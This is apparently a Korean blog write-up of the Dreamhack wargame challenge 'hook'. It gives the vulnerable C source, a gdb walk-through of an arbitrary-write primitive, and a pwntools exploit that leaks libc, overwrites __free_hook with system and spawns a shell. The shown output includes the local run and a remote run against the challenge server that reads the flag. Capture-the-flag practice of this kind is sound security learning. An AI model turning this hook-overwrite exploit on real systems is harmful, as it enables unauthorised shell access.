// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
int main(int argc, char *argv[]) {
long *ptr;
size_t size;
initialize();
printf("stdout: %p\n", stdout);
printf("Size: ");
scanf("%ld", &size);
ptr = malloc(size);
printf("Data: ");
read(0, ptr, size);
*(long *)*ptr = *(ptr+1);
free(ptr);
free(ptr);
system("/bin/sh");
return 0;
}
이렇게 푸는게 맞는지 모르겠다;;;
일단 코드 내에 system("/bin/sh") 가 있기 때문에 free 함수만 잘 넘어가면 쉘을 딸 수 있을 것이라 생각했다.
다만 문제는 ptr이 적절한 값을 가지고 있어야 된다는 점이다.
우선 코드를 다시 보면
scanf에서 size를 입력 받아 malloc으로 해당 크기만큼 동적 할당을 하고, 할당된 주소를 ptr에 넣는다.
이후 read & stdin으로 값을 입력 받아 ptr에 값을 덮어 씌운다.
중요한 부분은 그 다음의 *(long *)*ptr = *(ptr+1) 인데,
ptr + 8 byte 의 주소를 *ptr의 값으로 쓴다.
이후 free를 2회 수행하고 system 함수를 실행한다.
*(long *)*ptr = *(ptr+1) 부분을 gdb로 다시 보면 아래와 같다.
0x00000000004009e4 <+154>: mov -0x10(%rbp),%rax
0x00000000004009e8 <+158>: mov (%rax),%rax
0x00000000004009eb <+161>: mov %rax,%rdx
0x00000000004009ee <+164>: mov -0x10(%rbp),%rax
0x00000000004009f2 <+168>: mov 0x8(%rax),%rax
0x00000000004009f6 <+172>: mov %rax,(%rdx)
자세히 나누면 *(long *)*ptr 부분과 *(ptr+1)의 두 부분으로 나눌 수 있고 각각은 아래와 같다.
*(long *)*ptr
+154 : %rbp - 0x10의 값을 %rax에 넣음 => malloc return 값을 %rax에 넣음 => 할당된 heap address를 %rax에 넣음.
+158 : 할당된 heap address 내의 값을 %rax에 넣음.
+161 : %rax를 %rdx에 넣음.
*(ptr+1)
+164 : 할당된 heap address를 %rax에 넣음.
+168 : 할당된 heap address + 8 주소의 값을 %rax에 넣음.
+172 : rax를 %rdx의 값으로 씀.
간단히 요약하자면 ptr + 8 byte 뒤의 값을 ptr에 덮어씌운다는 것이다.
이를 이용해 __free_hook 함수를 system 함수로 덮어씌우고, free(ptr)이 system(ptr)이 되도록 변조하여 아무 작동도 하지 않게 만든 다음 system("/bin/sh") 함수를 실행해버리면 될 것으로 보인다.
(당연히 system이 아니라 puts와 같이 단일 인자를 가지는 함수로 변조하여도 무관할 것으로 판단된다.)
그러므로 아래와 같이 코드를 작성할 수 있다.
from pwn import *
#p = remote('',)
#libc = ELF('./libc.so.6')
p = process('./hook')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
stdoutadd = int(b'0x' + p.recvline()[-13:-1],16)
baseadd = stdoutadd - libc.symbols['_IO_2_1_stdout_']
free_hook_add = baseadd + libc.symbols['__free_hook']
system = baseadd + libc.symbols['system']
pause()
p.sendlineafter(b': ',b'16')
pay = b''
pay += p64(free_hook_add) + p64(system)
p.sendlineafter(b': ',pay)
p.interactive()
이를 실행해보면 아래와 같다.
┌──(kali㉿kali)-[~/Downloads/hook]
└─$ python a.py
[+] Starting local process './hook': pid 129602
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Paused (press any to continue)
[*] Switching to interactive mode
sh: 1: .7ډ\x7f: not found
sh: 1: .7ډ\x7f: not found
$
예상대로 free 함수가 system 함수로 변조되었고, system(ptr)을 실행하려하니 그런 명령어가 없기에 not found를 일으키며 넘어갔고, 이후의 system("/bin/sh") 가 실행되었다.
서버에 실행해보자.
from pwn import *
p = remote('host3.dreamhack.games',19122)
libc = ELF('./libc.so.6')
#p = process('./hook')
#libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
stdoutadd = int(b'0x' + p.recvline()[-13:-1],16)
baseadd = stdoutadd - libc.symbols['_IO_2_1_stdout_']
free_hook_add = baseadd + libc.symbols['__free_hook']
system = baseadd + libc.symbols['system']
pause()
p.sendlineafter(b': ',b'16')
pay = b''
pay += p64(free_hook_add) + p64(system)
p.sendlineafter(b': ',pay)
p.interactive()
┌──(kali㉿kali)-[~/Downloads/hook]
└─$ python a.py
[+] Opening connection to host3.dreamhack.games on port 19122: Done
[*] '/home/kali/Downloads/hook/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[*] Paused (press any to continue)
[*] Switching to interactive mode
$ id
uid=1000(hook) gid=1000(hook) groups=1000(hook)
$ cat flag
DH{----------#플래그는 삭제}$
'Wargame > Dreamhack' 카테고리의 다른 글
out_of_bound (0) | 2022.07.30 |
---|---|
oneshot (0) | 2022.07.29 |
fho (0) | 2022.07.27 |
basic_rop_x86 (0) | 2022.07.25 |
basic_rop_x64 (0) | 2022.07.22 |